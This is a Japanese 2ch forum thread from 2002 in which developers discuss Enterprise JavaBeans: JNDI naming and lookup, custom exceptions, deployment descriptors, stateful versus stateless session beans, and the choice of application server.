>>298 やめとけ。
悪い癖とわかっていながら、なぜそれを続ける?
名前が変わるからとかそんな単純な理由だけではないぞ。
NamingContextがDistributedなApplication Serverの場合、対応できないぞ。
そもそもSpecで直接lookupするやり方は完全にDeprecatedとされている。
300 :
デフォルトの名無しさん :02/11/02 07:13
>>274 あなたの環境は知らないがだいたいやることは。
・クライアント用JDNINamingContextFactoryが入ったjarを入れる。(アプリケーションサーバについてるぞ)
・EJBのスタブを入れる。(インターフェースだけでも結構です)
・InitialContextのコンストラクタにJndiのパラメータを突っ込んでnewする。(アプリケーションサーバ依存)
あとはおんなじ。
PotableRemoteObject.narrow()でキャストすんのを忘れんなよ!
>>299 そんなに悪い癖では無いとおもうよ。
EJBのクラスタリングに対応出来る可能性が大きいしね。
>>300 ありがとうございます。
InitialContextのコンストラクタに引数を与えるということをしていませんでした
どこかの本にInitialContextには引数を与えないほうがいいみたいなことが書いて
あったような気がして(勘違いかも)…
とりあえず300ゲトおめでとうございます
303 :
デフォルトの名無しさん :02/11/02 16:15
>>301 逆だろ?
対応できなくなる可能性があるぞ。
JNDIってEJB以外でも使いますか? EJBを極めるにはJNDIをEJBとは個別に勉強しなきゃならないの?
>>302 確かにコンテナ内でEJBがInitialContextを呼び出すときは、デフォルトコンストラクタを使うのが良いです。
まず問題ないし、ポータビリティが増すからね。
対してEJBクライアント単体ではどのコンテナにつなぐかわからないから、引数つきでも良いんだと解釈しています。
実際そうしないしないと、呼べないし(藁)。
308 :
デフォルトの名無しさん :02/11/04 13:39
>>306 クラスタ環境だと、deploy時に特別なJNDI名とbindingしなければいけないってことはよくあることだよ。
例をあげると、WebSphere V5の場合
cell/cluster/clustername/ejb/yourHome
のようにね。
アプリケーションサーバー依存のこういうことを、
コード中で意識したくはないでしょ。
>>308 へー。
ちなみに Borland Enterprise Server だと、
・JNDI名直接
・java:comp/env/ejb/XXXX による環境変数
のどちらでも、勝手にクラスタリングやフェイルオーバーが掛かりますね。
特別なJNDI名にしなきゃいけないのは使えないですね。
>>310 BESってCORBAだと実績のあるVisiBrokerベースだし、
WASより使い勝手いいと思うんだけど、普及しないね。
やっぱ某の営業がヘタだからかな(藁
JNDI名直接でやりたいって言っている人たちって、ようするに 直すのがめんどくさいだけなんでしょ。 勝手にすればいいじゃん。
アホなスレ・・・
ユーザ例外は作成したのですが、 int 値は基本データ型なので、クライアントに送信できますが、 String は参照型なので、セットする XxxException(String code) のような コンストラクタでセットした値は null になってしまいました。 この String をクライアントに送信するにはどうすればよいのでしょうか?
>>315 どのようなユーザー例外を作成したのですか?
具体的に書きましょう。
御助言をお願いします。 以下のように実装されている Exception に対し XxxException(Throwable , int) でインスタンスを生成した時、 EJBを呼び出しているクライアントで getCode() をすると、設定した int 値を返すのですが、getCause() は null を返すのです。 EJB の中でこの Exception を catch した後に getCause() した時は Exception を取得できます。 public class XxxException extends Exception { private Exception detail; private int code = NULL; public XxxException() {} public XxxException(Exception e) { this.detail = e; } public XxxException(Exception e, int code) { this.detail = e; this.code = code; } public int getCode() { return code; } public Exception getCause() { return detail; } }
切抜きだったのでゴミが入っていますが、NULL は 定数の -1 です。
>>317 > private int code = NULL;
NULLとはなんですか?
正確に書きましょう。
お手数をおかけして申し訳ないです。 int型の定数の -1 です。 private static int NULL = -1;
>>317 Borland Enterprise Server 5.1 にて試しましたが、以下のようになりました。
うまく行っているようです。
---- EJB実装 --------
try {
... // lookupを意図的に失敗させる
} catch (Exception ex) {
throw new mypack.MyException(ex, 99);
}
---- EJBクライアント --------
try {
remote.foo(); // EJBを呼び出す
} catch (MyException ex) {
System.err.println(ex.getCause()); // javax.ejb.ObjectNotFoundExceptionと表示
}
>>321 結論からいうと、うまく動きました。
321さん。深く感謝します。
うまく動いていないと思ったのは、
EJB から返ってきた XxxException を JSP でデバック出力していたのですが
デバック出力するスタックトレースが失敗して発生していた例外と、
Servletで表示していた getCause() の例外を見誤っていた。
コーディングミスで throw new XxxException(e) したのを再 catch していたみたいで
思っていたエラーが表示されない→XxxException が動いていない、
と思ってしまったのが原因でした。
323 :
デフォルトの名無しさん :02/11/05 21:06
ちょっと前の話になるけど、EJBを作る際の例外の扱い方について確認していいですか? ・EnterpriseBeanからRuntimeException/RemoteExceptionおよびそれを継承した例外をスローしてはならない。 ・EJBExceptionはEJBコンテナによってRemoteExceptionに置き換えられる。 ・基本はEJBExceptionをスローすることだが、EJBExceptionだけでは自由度が高くない為、Exceptionを継承したカスタム例外クラスを作るとよい。その場合、カスタム例外クラスはRemoteExceptionから派生してはならない。 以上を受けて… ・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。 ・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。 ・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。 ・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。(ejbCreateのみCreateExceptionとEJBExceptionをスローする) ・EnterpriseBeanからカスタム例外をスローする場合(つまりEJBExceptionをスローしない場合)は、rollback処理を自己責任で実装する。(EJBContext#setRollbackOnlyを呼ぶ等) こんな認識で合ってます?
今までJNDIにEJBバインドを行っていなかったのだけど、最近のスレを読んでJNDIを登録してみようと思った。 (使っているのはWebSphereだが、まずJ2EE RIから確認してみようと思っている) で、まずEARのsun-j2ee-ri.xmlに以下を記述。 <enterprise-beans> <ejb> <ejb-name>HogeHogeBean</ejb-name> <jndi-name>sample/HogeHoge</jndi-name> : </ejb> </enterprise-beans> これでHogeHogeBeanがsample/HogeHogeという名前でJNDIに登録されるようになる(はず)。 次にWARのweb.xmlに以下を記述。 <ejb-ref> <ejb-ref-name>ejb/HogeHoge</ejb-ref-name> <ejb-ref-type>Session</ejb-ref-type> <home>test.sample.HogeHogeHome</home> <remote>test.sample.HogeHoge</remote> </ejb-ref> これでWAR内のプログラムからejb/HogeHogeという名前で呼び出せるようになる(はず)。
325 :
JNDIワケワカラン :02/11/05 23:38
続き 最後にEARのsun-j2ee-ri.xmlに以下を記述。 <web> <ejb-ref> <ejb-ref-name>ejb/HogeHoge</ejb-ref-name> <jndi-name>sample/HogeHoge</jndi-name> </ejb-ref> </web> これでWAR内のプログラムからejb/HogeHogeをlookupすればsample/HogeHogeにバインディングされて登録されているEJBが呼び出せる(はず)。 なのに実行するとjavax.naming.NameNotFoundExceptionがでてしまう。 なんか設定間違ってる? JNDI関係はマニュアルが少ないからよく分からん。
>324 ejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、 lookupすべきはsample/HogeHogeかと。 >323 た、多分それで…
>>323 >・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。
CreateExceptionとRemoteException だけとは限らないですよね?
>・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。
RemoteExceptionまたはカスタム例外 だけとは限らないですよね?
>・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。
EJBExceptionまたはカスタム例外 だけとは限らないですよね?
>・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。
RemoteException だけとは限らないですよね?
>>327 可能かどうか?ではなく、それが推奨されているかどうか、EJB作法として一般的かどうか?
について考察しているから、「〜だけに限らない」のであれば、その「限らない」ものが何か?
そしてそれがどのくらい一般的で意味のあるものかどうかを書かなければ相手にされませんぞ。
>>328 「限らない」=「いくらでもある」ということでは?
興味あるので具体例キボンヌ
>>326 >ejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、
>lookupすべきはsample/HogeHogeかと。
話の流れとはあまり関係ないが、lookupする名前はejb/xxxxxxにして、実際に登録する名前をsample/xxxxxxにするのが良いと聞いたことがある。
PetStoreもJNDI名はestore/xxxxxxにしてlookupはejb/estore/xxxxxxみたいな感じだったよね?
勘違いならスマソ
332 :
デフォルトの名無しさん :02/11/09 13:02
別掲示板とのマルチポストでスマンが、 Stateless Session Beanで、リクエストの実行数を制御することは可能? 具体的には、1つ1つのStateless Session Beanに対して、 ・デフォルトで実体化されていてリクエストを待ち受けているインスタンス数を設定する ・大量リクエスト要求による負荷アクセス時に、最大同時リクエスト処理数(=インスタンス数)の 上限を設定しておき、残りのリクエストについてはキューイングする といったことが行いたいのだけど、こういうのってEJBコンテナの設定で可能なのかなぁ?
>>332 Stateless Session Beanって、最大リクエスト数=インスタンス数には
ならないのではないでしょうか。
たいていはスレッド数の上限を設けることで制限すると思うけど、
個々のBean毎にそれが設定できるアプリケーションサーバは
あんまり見たことないような。私が知っているものは限られているので
あるのかもしれませんが。
っていうか、そういうことってマニュアルに書いてないですか?
>>332 できるよ。
InfoCenterみてみなよ。
Session Bean使う場合って、Stateful Session Beanって本当に必要? よくショッピングカートを例にして「カートはStateful Session Beanにしましょう」なんていってるサンプルあるけどさ。 そんなのすべてStatelessにしてデータを取得したら全てVOにしてServlet側のSessionに格納したほうがはるかに便利じゃない?
>>335 WebApplication作るときにもHttpSession使わず、Statelessな仕組み
のみで行くの?
>>336 突っ込みがおかしい。
>>335 は
セッションの状態情報維持にはHttpSessionを使用して、Servlet<->EJB
はStatelessでいいじゃん、という話しだと思うが。
いやそうじゃなくって、Servletの持つHttpSession「を」状態の保持に使おうといってるの。 わざわざ1ユーザに対して1 HttpSession & 1 Steteful Session Beanを持つ必要ないんじゃないかって。 100人がアクセスした場合に、100 HttpSessionのみならず 100 EJB Instanceっていうのはなんかイヤじゃない?
>>338 HttpServeltからしかつかわないのなら、それが妥当でしょうね。
EJBは、極言すれば単なるRMIサーバのラッパですから、それ以外
にも使い道があるということで、それによってはSFSBもありかも。
>>340 ご意見どーも。Servletからしか使う予定はないっす。
Session FacadeやらValue Objectやらパターン使っていろいろやっていくと、
EJBはStatelessのほうが自然じゃないかって思っただけなんだよね。
ましてやEJBをJSPからuseBeanする気なんかないし。
適材適所ってことじゃないの。 例えば、比較的クライアント数が少ないけど、 やりとりする情報量が多いようなシステムでは、 状態管理にHttpSessionを使って、SFSBをデータキャッシングに 使うようなやり方だって考えられる。
>>341 SessionFacadeは、EJBクライアント側が個々に状態維持を行う
ことが可能であるという前提だからねえ。
でも、そうではない場合って確かにそんなにはなさそうだね・・・
EJBコンポーネントの単体実装だけで売る時とか?
>>342 SFSBにキャッシュはイクナイ!EJBコンテナのクラスタリングなんかした
日には、コピー作りまくりでえらいことになるッス!
サーバー側でVOでキャッシュするか、HttpServlet側でキャッシュして、
セッションをまたいで共用すべきかと・・・
>>344 そっか、考えてなかったです。ごめんなさい。
> SessionFacadeは、EJBクライアント側が個々に状態維持を行う > ことが可能であるという前提だからねえ。 StatelessSessionBeanは、のtypoか? SessionFacadeは、単にFacadeのSessionBeanによる実装で、クライアント でのセッション管理が必須な訳では無いよ。statelessで実装した場合に 必須となるだけで、statefulで実装するのもあり。 statefulは、ユーザー認証されている事をサーバ側のアプリでも保証して おきたい場合なんかに使えるのでは?
>>344 そんなの特定のApplicationサーバーの作りが悪いだけでしょ?
APサーバってどれが良いの?
349 :
デフォルトの名無しさん :02/11/13 17:33
>>348 デファクト使うなら、WebLogicかWebSphereかな。
フリーのJBossとかもいいかも。
WebObjectsも最近使ってるが、かなりいい。
>>344 あんたは、クラスタリングされているEJBコンテナ同士で、内部で所有している
セッション状態情報の同期どうやって取るつもりなの?性能落すか、コピー作り
まくるかのどっちかしかないと思うんだが。
一日後にふと思たんだが、単なるキャッシュなんだからクラスタリング されていても同期とらんでもいいんじゃないか?
>>351 いや、それ以前に、StatefullSessionBeanを使わなくてもいいのか。
Statelessでもキャッシングならできるわな。
353 :
デフォルトの名無しさん :02/11/14 20:54
HttpSessionに例えばユーザ情報を入れる場合、ユーザIDをキーにして setAttributeでオブジェクトにバインドすることが多いんですけど、 SFSBを同様に使用する場合、どうやってユーザIDをバインドするんですか?
>>353 RMIのすぐ上の層で隠蔽かかってるでしょ。気にしないでいい。
TCP/IPでパケットにIPアドレスやTCPポート番号書いてあること
を、ユーザは気にしないでイイのと一緒。
>>353 SFSBへのHandleをSession.setAttribute(key, handle) しておけ。
>>354 >>355 回答ありがとうございます。
すいません、各EJBクライアントマシンに対して1つずつインスタンスが作成
されるという認識で良いのでしょうか。他に目に見える部分でキーを設定し、
インスタンスを生成するということは可能なんでしょうか?
>>356 SFSBとHttpSessionを勘違いしてないか?
とりあえずJBOSSダウソしてみて自分でSFSB書いてみ。
>>357 すいません、SFSBのインスタンス数の制御ができるかなと思って質問したのですが、
結局クライアント側のポートなどを変えないと無理ってことですか?
>>358 使っているEJBコンテナのドキュメントに書いてないか?
少なくとも、コード中で意識することではないだろ?
初めて質問させて頂きます。 WebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、 EJBの中で他のjarを参照しています。 EJBのjarの中にmanifestファイルにxxx.jarへのパス設定をして、xxx.jarを 含めてみたのですが、WebLogicでEJBのデプロイができません。 (xxx.jarのクラスがないとのエラーになります) EJBのjarには、jarを含めることはできないのでしょうか? それとも、デプロイの仕方に問題があるのでしょうか?
361 :
デフォルトの名無しさん :02/11/16 01:29
どう考えても後者だろうな。
てゆうかWebLogic使ったことないんだけど、 > WebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、 こんなことしていいのか? 複数のWebアプリケーションから共通で参照されるのであれば将来的にjarのバージョン不整合とか起きないか? Webアプリケーションからjarを参照するなら、EARにjarを組み込むだけでいいんじゃない?(EARの下に./library/xxxx.jarみたいに) manifestにはEARルートからそのEAR内jarへの相対パスを記述するはず。(classpath ./libraryみたいな感じ?記述ルール忘れた)
おはようさんです。
>>360 ,362
legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
サーバークラスパス内に配置することあります。まじコンポーネント指向でいく
ならメッセージドリブンEJBなど使ってで分離したほうがいいんでしょうが..
サーバークラスは、weblogic.jar(J2EE API,WebLogic API)がどこから
も参照できるのといっしょで、manifestなんか記述する必要ないです。
>>360 俺も最近のWebLogicは使ってないのでよく分からないのだが、
デプロイの時にはstartWebLogic.cmdだけじゃなくて
デプロイコマンドの方にもクラスパスを設定しないと
だめなんじゃない?
365 :
デフォルトの名無しさん :02/11/16 12:01
>>363 > legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
> サーバークラスパス内に配置することあります。
何がしょうがないのだろう?
まぁ自作クラスじゃないのだろうが。MQとかRDBが提供してるjarを置くって事だよね?
自作クラスを置いて、そんな言い訳してるなら、考えなおした方がいい。
EJB.jarの中にxxx.jarを含める方法を教えて頂きたく。 EJB.jarの構造は、 ・EJBのclass ・lib xxx.jar yyy.jar ・META-INF weblogic-ejb-jar.xml MANIFEST.MF ejb-jar.xml です。 MANIFEST.MFの内容は、 Manifest-Version: 1.0 Created-By: Ant 1.3 Class-Path: lib/xxx.jar lib/yyy.jar です。 このEJB.jarをWebLogicのconsole画面でEJBデプロイをすると、 xxx.jarのクラスが参照できないとデプロイエラーになるので、 EJB.jarの中のxxx.jarファイルが参照できていないようです。 EJBを個別にデプロイせずに、EARに含めるにしても、 xxx.jarはWebアプリには提供せず、EJB.jarの中に入れたいのです。 上記のようなEJB.jarがデプロイできないってことは、このEJB.jarを EARに入れても、xxx.jarは参照できませんよね。 xxx.jar入りのEJB.jarを作る上手い手はありませんか?
見た感じ問題ないと思うが。 まずべリファイのエラーメッセージを送ってくれ。
デプロイ時にエラーになるという事はejbcかけてないモジュールを デプロイしようとしていてhomeまたはremoteインターフェースでxxx.jar のクラス参照してるということですよね。デブロイする前にejbcかけ てみればはっきりするのでは。 もし上記の理由ならクライアント側にもxxx.jarは必要webapアプリなら WEB-INF/libにほうり込む。当然home,Remoteインターフェースクラスも。 xxx.jarをソースからビルドしこのこのEJBでしか使わないつもりなら EJBクラス内にいっしょに展開し、DDのejb-client-jarでejbcにクラ イアントクラスはかせるのが手っ取り早いかも。
亀レスですが...
>>335 SFSBにしとけば、コンテナが勝手にパッシベートしてくれるのが嬉しい
>>347 確かにAPサーバが悪いだけかもしれんが、WLSクラスタがそうだとしたらどうする?
ちなみに、マニフェストクラスパスは、 そもそも外部のjarファイルを参照するときに使う物であって、 jarファイルの中に、さらにjarファイルを含めて 使うためのものではないです。 それ以前に、「Webアプリには提供しない」という要求を満たすために、 EJB.jarの中にxxx.jarを入れなければいけない、というのが 意味がよくわからないな。 単に〜.war、EJB.jar、xxx.jarの3つを独立して作って、 それをEARに含めればいいんじゃないかと思うんですが、 それだと何か不都合があるのでしょうか?
374 :
デフォルトの名無しさん :02/11/18 11:30
質問なんですが、ホットデプロイに対応しているのは WebLogicとJBossだけなんですか? WebShereは少し触ったけど、デプロイに滅茶苦茶時間が掛かって 大変でした。実はもっと簡単にEJBのテストができたりするのかな? SunOneとかはどうなんだろ。
>>374 基本的には全てのJ2EEサーバがHotデプロイに対応してるはず。
再起動しないと、アプリを置換できないJ2EEサーバなんて使い物に
ならんだろ。
漏れは、Weblogicと、Jbossしか知らんけどね。
376 :
デフォルトの名無しさん :02/11/19 13:59
そういや、WebObjectsってちょっと前からJ2EE対応になったよね。 Hot Deployとかにも対応してんのかな? 1サーバあたり¥7マソくらいで、アクセス数無制限ライセンスだから、 安価なJ2EE鯖としてどうじゃろか?とあれこれ資料を探しているのだが。。。 やはりマイナーだなぁ。
>>376 WebObjectってもともと700マソくらいしたのが、100分の1の値段に
なったやつでしょ?
どう考えても、Hot Deployできないなんて考えられんが。
>>374 Borland Enterprise Server はどうだい?
WebSphereってホットでプロイあったっけ?
380 :
デフォルトの名無しさん :02/11/20 02:27
>>377 \700マソ時代は、EJB/J2EE対応ではない、独自概念の製品だったんだよ。
現在のEJBコンテナは、OpenSourceの物を利用してるらしいし。OpenEJB?
J2EE対応は最近なんで、もしかしたらホットデプレート未対応かも。。。
もっとも、運用は拍子抜けするほど簡単なんで、EJB使う必要も無いかも。
ビルドしたアプリを、管理ツールから選択して、起動するだけだからなー。
俺もWebObjectはすごく興味あるなー。 500マソのWebLogicがオーバースペックに感じる案件も多いし。 クライアント数数十人の、イントラ系システムなんかだったら、 きっとWebObjectの方が小回り効いて良さそうだよね。
WO厨が出てきたな。またWebProg板みたいに集団自作自演で自賛して荒らすつもりか? EJB以外の話を少しでもしたらそっこー退場願うからな。
383 :
デフォルトの名無しさん :02/11/20 12:58
>>382 何かイヤなことでもあったか?
自分自身が、厨発言してることに気付けよ(w
384 :
デフォルトの名無しさん :02/11/20 19:59
結局EJBって何ができるの? あるとないとはどう違うの?
385 :
HTMLと何かで・・・ :02/11/20 20:02
掲示板の作り方教えてくれーーー!!! ↑名スレの予感・・・!!?
金がないならTomcat&JBossでエエヤン。
Sun ONEもタダ。
388 :
デフォルトの名無しさん :02/11/21 01:43
かなりしょぼい質問ですいません。 IIS,tomcat,ejbを試しています。 EJBからオラクルに接続したいのですがjdbcの設定方法が 分かりません。ドキュメントは読んだつもりです。 どうすればいいのか教えてください。 関連サイト等ありましたらそちらもお願いします。
389 :
デフォルトの名無しさん :02/11/21 23:37
>>388 > IIS,tomcat,ejbを試しています。
ejbというソフトウェアは聞いた事ないのですが、何者ですか?
> ドキュメントは読んだつもりです。
「つもり」じゃだめ。ちゃんと読みましょう。
390 :
デフォルトの名無しさん :02/11/21 23:49
WebSphere 4.0 AEsはホットデプロイできなかったような気がする
SunONEって、iPlanetノコトだったのね。 Sun版WebSphereグループって感じだね。 iPlanetのAP鯖の基本構成が無料になったんだねえ・・・ J2EEのSDK付属のJ2EEサーバRIとなにが違うのかな? ソースコードいっしょだったりして。
392 :
デフォルトの名無しさん :02/11/21 23:59
初心者なので外した質問かもしれませんが・・。 リモートインターフェースとローカルインタフェースの使い分けってみなさんどうしてますか? なんか実質的な違いがよくわからないのですが。 リモートインターフェースなら、ローカルでもリモートでも動くから、 全部リモートで実装しちゃいかんのでしょうか?
>>392 リモートインターフェイスをつかうと、
EJBのメソッドアクセスは全てTCP/IPによる通信経由(例え同一
マシン上でも)になるので、頻繁にアクセスすると遅くなるよ。
あるEJBのgetterやsetterを繰り返しアクセスするようなつかい方
をするなら、EJBの配置方針によっては、ローカルIFを使用してネ
ットワーキングを無駄にくりかえす愚行を回避することを、検討し
ましょう。
それが問題ないなら、どちらでも好きにしてちょ〜。
ValueObjectやEJBのProxyObjectを使用すればある程度
リモートIFでもこの問題を解決できるので、配置によって
はこれらの採用も考えてちょ。
ValueObjeceパターンはEJBやる場合は必須だと思われ。 このパターンを使わないで「EJB遅い」っていわれても困るよなー。 その次は、DataAccessObjectパターン、SessionFacadeパターンあたりが 重要かな?
>>393 >リモートインターフェイスをつかうと、
〜
>ットワーキングを無駄にくりかえす愚行を回避することを、検討し
>ましょう。
やはりそういう問題ですか・・・。
使えるマシンの数とか分散のさせかたとか、不透明なんですが、
とりあえずローカルで実装して、リモートにしなきゃなんないものだけ、
(切り分けポイントを考慮しつつ)必要に応じてリモートに変えるってのが、
妥当なやり方ですかね。そうします。
>ValueObjectやEJBのProxyObjectを使用すればある程度
>リモートIFでもこの問題を解決できるので、配置によって
>はこれらの採用も考えてちょ。
その辺りは全然知りませんでした勉強してみます。
ありがとうございました。
>>394 ValueObjectの発想は、EJBに限らず分散処理では当たり前の話
だよねえ・・・
別にパターンとして公表されてなくても、やってて当然だと思う
んだけど、物を知らないくせに分散処理やりたがるアホが最近
おおくて・・・(泣
CLASSPATHが分かりません云々・・・と同レベルのFAQとして扱う
べきだよね(藁
398 :
デフォルトの名無しさん :02/11/22 22:12
>>391 パフォーマンスを改善したみたいよ。
あと、デプロイにsun-application.xmlを使うのが違う。
ValueObjectの発想って、オブジェクト指向的じゃないから、 分散オブジェクトをやりはじめたころは、 ホントにこんなのでいいの?って思わなかった? 少なくとも俺にとっては当然なものではなかったな。
オラクル接続のためのEJBでのJDBC設定ですが どのドキュメントに載っているで良いので教えてください。 自分が見たのは他のDBに接続することもできるとか そういう記述しかなくて分かりませんでした。
>>400 OracleのJDBCドライバの説明書に載ってんじゃないのか。
・・・割れ物かよオイ(藁 説明書はフリーだからサイトいって
落してきなさい。
402 :
デフォルトの名無しさん :02/11/23 00:33
>>401 そうなんですか。オラクルの方ですか。ありがとうございます。
割れ物じゃありませんよ。ちょっと会社で試していました。
>>400 EJBでJDBC接続ってことは、APサーバに
データソース作ったり、JNDI設定してやるのが普通だと思うけど、
そんなのはもう分かってる?
一応、APサーバのドキュメントも見た方がいいよ。
404 :
デフォルトの名無しさん :02/11/23 00:52
>>403 どうもありがとうございます。
あまり良く分かっていません。
今はcloudscapeを使っているサンプルアプリを
オラクルに接続して試してみたいと思っている段階です。
405 :
デフォルトの名無しさん :02/11/23 01:16
質問お願いします。 runclientで立ち上げたプログラムはどうやってとめるのでしょうか? それから立ち上がっているプログラムを一覧表示することはできないのでしょうか?
すいません。 win2000 j2se1.4 j2ee1.3 です。
>>407 J2EEのリファレンス実装というやつか?
とりあえず、runclientとかいうのはバッチファイルかな。
マニュアルに止め方が書いてなければ、Ctrl+Cで止めるんじゃないの。
ひょっとしてコマンドプロンプトとかよく知らない新人プログラマ?
あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
409 :
デフォルトの名無しさん :02/11/23 02:59
>>408 いえ、コマンドプロンプトの使い方は分かります。
Ctrl+Cなんですかね。起動するコマンドはあって停止するコマンドがない
のが不思議でした。
>あと、立ち上がっているプログラムを一覧表示ってどういう意味よ?
runclientで立ち上げたプログラム(アプリケーション?)の
一覧があると
http://----:8000/ のあとに書く文字が分かりやすいと思ったので質問しました。
もちろんdeploytoolで見れば分かるのですが、、
もしかしてrunclientで一度実行したものはもう一度実行する
必要はないのでしょうか?再起動後も
>>409 使っているの、Sunのページから落とせるJ2EEだよね。
他のアプリケーションサーバじゃなくて。
なんとなく勘違いしているんじゃないかと思うんだけど、
runclientって、クライアント側プログラムの起動スクリプトじゃない?
何がクライアントで、何がサーバで動いているのか、イメージはできている?
もしも出来ていないようなら、質問する前に先にちょっと
本でも買って勉強した方がいいよ。
>>404 cloudscape ってことは、多分J2EE RI(リファレンス実装:つまり、SDKについてくる、おまけの環境)
を使ってると思うんだけど、(別の製品を使ってるなら、その名前がないと答えられない)。
とりあえず、JDBCを直で使ってるなら、
J2EE_CLASPATH にオラクルのJDBCの jar ファイルを追加してやればいいはず。
CMP で使う場合は、まずそのままでは deploytool の作業がうまくいかないはずだから、
「インストールの構成」(だったかな)で「データリソース」「標準」の設定に オラクルを追加する
必要がある(はず、私はやったことない。詳しくは deploytool のヘルプを参照してください)。
>>410 ,411
ありがとうございます。
教えていただいた箇所をよんで見ます。
>>399 昔CORBA使って開発していた時はstruct使いまくってた。でないと
パフォーマンス出なかったし。クライアントがWin3.1の時代だったから今より
条件厳しかったからね。
でも今でも結局あんまりやることは変わってないんだよね。結局パフォーマンス
ネックってディスクとネットワークのI/Oだから。
414 :
デフォルトの名無しさん :02/11/27 13:20
EJBを使うべきPRJというのがいまいちピンとこない servlet + jsp + bean でも まともなWEBアプリつくれるんですよね。
415 :
デフォルトの名無しさん :02/11/27 14:42
>>414 中〜大規模で、オブジェクト指向を的確に理解する技術者をある程度確保できていて、
かつ先のメンテナンス性や拡張性を意識する余裕があるプロジェクトだったら、
EJB採用は有効だよ。
416 :
デフォルトの名無しさん :02/11/27 16:18
>415 アリガト。EJBと聞くと servlet+ jsp + beanだけと比べると めんどくさそうな 定義があって悩んでいたが、スッキリした。 とはいっても javaアプリ開発するのは、はじめてなんだけどな とはいっても apache + tomcat + jbuilderでプロトタイプはつくったんだけどね。
417 :
デフォルトの名無しさん :02/11/27 19:01
しかし、
>>415 のような条件に恵まれるケースは、極めて希かも。
418 :
デフォルトの名無しさん :02/11/28 18:55
Cosminexus を使おうかと思うんだけど、だれか使っている人いるの? あれについてる cfremework は使えるフレームワークなの
419 :
デフォルトの名無しさん :02/12/02 12:37
あげ
>>418 フレームワークはフレームワークだけど。
Cosminexus って下請け以外で使っているところあるの?
421 :
デフォルトの名無しさん :02/12/11 01:55
EJB 使ったことがない人間の素朴な疑問なんですが、EJB って中でスレッド立てちゃ
いけないとかローカルファイルにアクセスしちゃいけないとかいろいろ制限あった
よね? まぁ EJB の構造を見れば理由は分かるんだけど、動作ログとかの出力どう
やってるんすか? まさか全部 DB じゃないよね?
>>418 この間 IBM からのシステム移行に失敗した日立のビックカメラサイトは Cosminexus だったな…
>>420 関連会社はWebLogic使ってたよ。
>ローカルファイルにアクセスしちゃいけない こんなんあったかなぁ… >420のcFrameworkではlog4jでログとってるけど…
424 :
デフォルトの名無しさん :02/12/13 01:19
>ローカルファイル・・・ EJBコンソーシアムのポータビリティに関する規約にはあります。 ローカルファイルにアクセスしるコードは別のクラスに汁。だたよな・・
"The enterprise bean must not attempt to directly read or write a file descriptor. Allowing the enterprise bean to read and write file descriptors directly could compromise security.." ―――Enterprise JavaBeansTM Specification,Version 2.0 24.1.2より 確かに。まあ、クラス別にするだけだから別にいいか…普通こんなことしないだろうし。
426 :
デフォルトの名無しさん :02/12/15 16:17
素朴な質問です。 webobjectsってかなりいいと思うのですが、 それを使わずj2eeを使うというのはどうしてでしょうか? やはりwoはマイナーだからでしょうか
427 :
デフォルトの名無しさん :02/12/15 16:38
>>426 WOは使ったことないので聞きたいのですが、2フェーズコミットはできるの
でしょうか?
428 :
デフォルトの名無しさん :02/12/15 16:40
>>426 すいません。WOは使っていましたがまだまだあまちゃんなので
分かりません。EOF任せにしていました。
429 :
デフォルトの名無しさん :02/12/16 01:13
漏れも、WebObjectsでは、EOF任せですな。 なにせ、WebObjectsは、百万回死ぬほどマイナーなので、 WebLogicとかWebSphereなんかのメジャー製品を使うほうが、 よほどメリットがあると思いまつよ。
>>427 あれのJTSはTyrexだからできるはずだよ。
ただし、まともに動くかはわからん(w
Tyrex 1.0たまに使ってるけど、結構ボロボロ。
0.9.7の時よかはるかにマシだけどさ。
>>430 気になって、appleのページを見に行ったら、WOってEJBもサポートするように
なってるんだね。
432 :
デフォルトの名無しさん :02/12/16 10:40
>420 安いから使おうぜと 思っているんだけどな あまちゃんだろうか
433 :
デフォルトの名無しさん :02/12/20 22:15
Tyrex ってなに?
434 :
デフォルトの名無しさん :02/12/21 00:24
435 :
デフォルトの名無しさん :02/12/26 01:30
複雑なトランザクションて? どんなの 俺そんなトランザクションかけたことないんだけど(w
436 :
デフォルトの名無しさん :02/12/26 15:08
jsp とか bean servlet のネーミングはどうしてる。 だれかおしえてくれ。
IP記録実験
http://qb.2ch.net/test/read.cgi/accuse/1042013605/ 1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?
38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27 鋭いです。
73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
438 :
デフォルトの名無しさん :03/01/08 23:57
WeblogicのStateless Session Beanの中のクラスから、 自ホスト名とリスンポート番号知りたいんですが、 どーすりゃいいでしょう? localhost:7001みたいな。
正直、Tomcatなみに簡単に導入できるEJB対応APサーバが出現しない限り、EJBはいっこうに身近にならないだろうな。 TomcatがEJBコンテナ実装してくれればいいんだろうけど、望み薄だし・・・ JBoss+Tomcatというのもなんか煩雑な感じがして嫌だし・・・ Enhydraはオープンソースとしては終わっちゃったという噂だし・・・ SunONEは無料らしいけど使ったことないし・・・ J2EE RIではなんかしょぼいし・・・
実験されてみる。
実験されてみる。
IPだけ?
テスト2
